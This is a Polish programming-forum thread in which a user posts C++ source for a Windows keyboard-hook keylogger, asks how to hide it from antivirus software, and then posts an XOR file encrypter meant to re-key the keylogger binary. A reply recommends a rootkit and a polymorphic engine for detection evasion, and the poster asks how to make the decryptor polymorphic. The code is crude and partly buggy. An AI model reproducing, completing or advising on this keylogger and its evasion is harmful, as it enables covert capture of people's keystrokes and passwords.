Zrozum keyloggera

[G host]

Wiiiitttaaaammmmmm!!!

Napisałem prostego keyloggera niestety nie wszystko w nim rozumiem (na szczęście c++ to język intuicyjnym i nie muszę wszystkiego rozumieć ,by napisać program ), więc chce dowiedzieć się w miejscach w których napisałem "nie wiem" jak to działa.
Sczególnie tu i tu:
KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT*)lParam; czym się różni * z tyłu od gwiazdki z przodu. Wiem ,że to podstawa kiedyś to wiedziałem ,a teraz zapomniałem okazyjnie o to pytam hehe, po co ten nawias i co robi tu lParam i co to jest.

pKbdLLHookStruct->vkCode tu z kolei zapomniałem co oznacza ten symbol -> (przekazanie wartość do konkretnej zmiennej w strukturze??)

Mam jeszcze dwa inne pytania.
Jak uczynić keylogger nie widzialnym dla anty virusów?
Macie jakieś materiały do nauki o keyloggerach? Jak tak to przekażcie materiały lub powiedzcie jakie publikacje. Może być same source i tak rozszyfruje jak działa.

#include <iostream>
#include <windows.h>

HHOOK przechwyt = 0; // uchwyt na hak 

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam,LPARAM lParam); //funkcja przechwytująca klawisze z komunikatów

int main(int argc, char *argv[]) 
{
	MSG msg;
	//zmiana kolejności dotarcia komunikatów w kolejności 1.Pętla GetMessage 2. funkcja LowLevel.. 3. Program docelowy.
	przechwyt = SetWindowsHookEx(WH_KEYBOARD_LL, // umożliwia monitorowanie wciśniętych klawisz LL -LowLevel .
	(HOOKPROC)LowLevelKeyboardProc, // hak, zanim komunikat dotrze do celu korzysta z procedury LowLevel...
	GetModuleHandle(0), // Nie wiem co to robi sugerując się nazwą myśle ,że pobiera uchwyt modułu(cokolwiek to jest)
	// do funkcj jest przekazna zmienna LPCSTR = 0, LP oznacza w winAPI *, LPSTR to char*, więc LPCSTR to jakiś tam wskaźnik
	 0
	 ); 

    while(GetMessage(&msg, NULL, 0, 0)) //pętla odbierająca komunikaty
    { 
        TranslateMessage(&msg); 
        DispatchMessage(&msg); 
    } 
return msg.wParam; 
}
LRESULT CALLBACK LowLevelKeyboardProc
(int nCode, // nie wiem 
WPARAM wParam, //komunikat
LPARAM lParam // nie wiem można przekazywać obiekty w lParam
)
{
	//tworzy strukture z wskaźnikiem i inicjalizuje do niej obiekt ,który jest naszym klawiszem
	KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT*)lParam; // (KBDLLHOOKSTRUCT*)lParam; nie wiem za bardzo jak to rozumieć
	if (nCode >= 0)// to co widać nie wiem co to nCode
	{
		if(wParam == WM_KEYUP) //jeśli wParam to komunikat typu WM_KEYUP to działaj
		{	
			switch(pKbdLLHookStruct->vkCode)//odwołuje się do struktury i zamienia wartość pKbdLLHookStruct na virtual key code czyli np. 0x41
			{
				case 0x41: 
			    	if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT)) //oczywiste 
					{
				 	std::cout << "A"<<std::endl;
					}
				break;
				
				case 0x14: 
			    	std::cout << "[CAPS LOCK]"<<std::endl;
				break;
			}
		}
	
	}CallNextHookEx(przechwyt,nCode,wParam,lParam); // dzwoni po kolejny nCode i komunikat
}
//DWORD to unsigned long
//struktura KBDLLHOOKSTRUCT
//typedef struct tagKBDLLHOOKSTRUCT { 
//  DWORD     vkCode;  //kod klawisza każdy klawisz ma kod
//  DWORD     scanCode; //nie wiem
//  DWORD     flags; //nie wiem
//  DWORD     time; //nie wiem
//  ULONG_PTR dwExtraInfo; //nie wiem
// } KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT; //tagi

 

[meViu]

KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT*)lParam;

Postaram Ci to wytłumaczyć: pKbdLLHookStruct to wskaźnik(czyli zmienna która wskazuje na konkretny adres pamięci), ponieważ widnieje '*'. Jest to wskaźnik typu KBDLLHOOKSTRUCT , do tego wskaźnika przypisujemy zmienną lParam, którą najpierw rzutujemy do odpowiedniego typu właśnie za pomocą (KBDLLHOOKSTRUCT*).

Co do operatora '->' działa on tak samo jak '.' kiedy mamy obiekt danej klasy i chcemy się odwołać do jego właściwości/metod, lecz '->' jest stosowany kiedy mamy wskaźnik do obiektu a nie rzeczywisty obiekt i jest równoważny z operacją (*obiekt).zmienna

 

[Αvenger]

Malware możesz ukryć w systemie przy użyciu rootkita. Możesz też zaimplementować w keyloggerze silnik polimorficzny, który będzie szyfrował/deszyfrował kod utrudniając jego wykrycie.

 

[G host]

Rozumiem KBDLLHOOKSTRUCT to po prostu rodzaj typu z #include jak na przykład string.
Struktura KBDLLHOOKSTRUCT *pKbdLLHookStruct wskazuj na konkretny adres, który zostaje wypełniony przez zmienną lparam ,która wskazuje na strukture KBDLLHOOKSTRUCT. Tworzymy alias nazwy tej struktury ,by móc się spokojnie do niej odwołać w switch(pKbdLLHookStruct->vkCode). A "->" używamy ,bo mamy wskaźnik do struktury *pKbdLLHookStruc, więc adres (KBDLLHOOKSTRUCT*)lParam został przekazany do *pKbdLLHookStruct ,który wskazuje na ten adres, więc nie jest rzeczywistym obiektem.

Podjąłem się napisania silnika polimorficznego.
Napisałem program ,który szyfruje i deszyfruje w oparciu o szyfrowanie xor. Wikipedia mówi ,że sam deszyfrator ma być polimorficzny, więc jak to zrobić. Wikipedia dała trzy wskazówki:
1. Zmiana instrukcji na ich odpowiedniki.
2. Transpozycja.
3. Wprowadzanie instrukcji lub sekwencji instrukcji nic nie wnoszących.(NOP)

Moglibyście mi zobrazować te akcje.

Program generuje nowy klucz za każdym szyfrowaniem. Keylogger musi nazywać się vir.exe by poprawnie zadziałało szyfrowanie. Musi też być w tym samym folderze.

#include <iostream>
#include <cstdlib>
#include <fstream>
#include <ctime>
#include <string.h>
#include <windows.h>

using namespace std;

const int size=2050; 
unsigned char no_szyfr[size];
unsigned char szyfr_xor[size];
char klucz[64];

char funkcja_kodowania();
string tworzenie_klucza(char);
string do_name();

void szyfruj(long size,char Name_wej[], char Name_wyj[]);
void odszyfruj(long size,char Name_wej[], char Name_wyj[]);
void morfuj();

int main(int argc, char *argv[]) 
{
	srand( time( NULL ) ); //funkcja pseudolosująca w czasie
	morfuj();
  return EXIT_SUCCESS;
}
void morfuj()
{	
char vir[8] = {'v','i','r','.','e','x','e'};
char vvv[8] = {'v','v','v','.','e','x','e'};
char buff1[50]; // ścieżki do usunięcia
char buff[50];
int a;
cout << "Ile razy szyfrowac i odszyfrowac ??" <<endl;
cin >> a;
		for(int i=0; i < a ; i++ )
	{
		string full_key = tworzenie_klucza(funkcja_kodowania());
		strncpy(klucz, full_key.c_str(), 64);
		cout << "Klucz : " << full_key << endl;
		szyfruj(size,(char*)vir,(char*)vvv);
		GetFullPathName("vir.exe",sizeof(buff1),(char*)buff1,0);
		if(remove((char*)buff1) == 0)
		{
			cout << "Delete vir.exe; " <<endl;
		}
		odszyfruj(size,(char*)vvv,(char*)vir);	
		GetFullPathName("vvv.exe",sizeof(buff),(char*)buff,0);
		if(remove((char*)buff)==0);
		{
			cout << "Delete vvv.exe; " <<endl;
		}
		cout <<endl;
	}
}
void szyfruj(long size,char Name_wej[], char Name_wyj[])
{
	
	bool koniec =false;
	int rozmtmp;
	Name_wej[50] ; 
	Name_wyj[50] ;
	long wczytane , size_wczytane; //ilośc wczytanych znaków, rozmiar wczytanych znaków
	FILE *wej , *wyj;

 	
 if ((wej=fopen(Name_wej, "rb"))==NULL) // nie trzeba tłumaczyć 
  { 
   fprintf(stderr, "Nie mogę otworzyć pliku wejściowego.\n");
   return;
  } else
  {
   if ((wyj=fopen(Name_wyj, "wb"))==NULL)
    {
     fprintf(stderr, "Nie mogę otworzyć pliku wyjściowego.\n");
     return;
    }
   else
    {
     cout<<"Trwa szyfrowanie..."<<endl;
     //---------- szyfrowanie -------     
     while ((wczytane=fread(no_szyfr,1,size,wej))>0) //dopóki nie napotka końca pliku, wczytaj do tablicy tekst zawartość pliku o rozmiarze "size"
     {      
      if(wczytane<size) // gdy ostatni blok wczytany jest mniejszy od size
       {
        rozmtmp=size;
        size=wczytane;
   		koniec=true;
       };
      int pos=0;
      for (int i=0;i<size;i++)
        {
         szyfr_xor[i]=no_szyfr[i]^klucz[pos];
    if (pos<sizeof(klucz)-1) pos++; else pos=0;
   }
      fwrite(szyfr_xor, 1, size,wyj); //zapisz kawalek wczytany do plku "Name_wyj"
      if (koniec) //gdy osiągnięty został koniec pliku
        break; //zakończ przetwarzanie pliku
     }     
    //-------------------------------
     fclose(wyj);
    }; 
   fclose(wej); 
  };
 cout<<endl<<"Szyfrowanie zakonczone.\n"<<endl;
}
string tworzenie_klucza(char)
{
	unsigned char klucz[64];

	int el_key ;
	
	int wylosowane[64]; 
	
	int k = 64; 
	int j;
	
	for( j=0; j < k; j++ )
	{
	el_key = ( rand() % 64 ) + 0;  
		if ( el_key == wylosowane[el_key]) 
		{
		 k =  k + 1;
		 continue;
		}
     wylosowane[el_key] = el_key; 
	 klucz[el_key] = funkcja_kodowania() ; 
	}
	return (char*)klucz;
}
char funkcja_kodowania()
{
	int a;
	int b;
	char tab_kodowania[10] = {0x41, 0x4B, 0x2B, 0x6E, 0x71, 0x6A,0x61,0x3E,0x3F, 0};
	char new_tab_kodowania[9] ;
	for(a=0;a < 9; a++)
	{
		b=( rand() % 8 ) + 0;
		a=( rand() % 8 ) + 0;
	new_tab_kodowania[a] = tab_kodowania[b];
	return  new_tab_kodowania[a];
	} 
}
void odszyfruj(long size,char Name_wej[], char Name_wyj[])
{
 int rozmtmp;
 bool koniec=false;
 Name_wej[50], Name_wyj[50]; //nazwy plików wejściowego i wyjściowego
 long wczytane , size_wczytane;
 FILE *wej , *wyj;

 if ((wej=fopen( Name_wej, "rb"))==NULL) // nie trzeba tłumaczyć
  {
   fprintf(stderr, "Nie mogę otworzyć pliku wejściowego.\n");
   return;
  }
   else  
  {
   if ((wyj=fopen( Name_wyj, "wb"))==NULL)
    {
     fprintf(stderr, "Nie mogę otworzyć pliku wyjściowego.\n");
     return;
    }
   else
    {
     //---------- odszyfrowanie -------
     while ((wczytane=fread(no_szyfr,1,size,wej))>0) //dopóki nie napotka końca pliku, wczytaj do tablicy tekst zawartość pliku o rozmiarze "size"
     {      
      if(wczytane<size) // gdy ostatni blok wczytany jest mniejszy od size
       {
        rozmtmp=size;
        size=wczytane;
   		koniec=true;
       };
      int pos=0;
      for (int i=0;i<size;i++)
        {
			
         szyfr_xor[i]=no_szyfr[i]^klucz[pos];
    if (pos<sizeof(klucz)-1) pos++; else pos=0;
   }
      fwrite(szyfr_xor, 1, size,wyj); //zapisz kawalek wczytany do plku "Name_wyj"
      if (koniec) //gdy osiągnięty został koniec pliku
        break; //zakończ przetwarzanie pliku
     }     
    //-------------------------------
     fclose(wyj);
    }; 
   fclose(wej); 
  };
 cout<<endl<<"Odszyfrowanie zakonczone.\n"<<endl;
}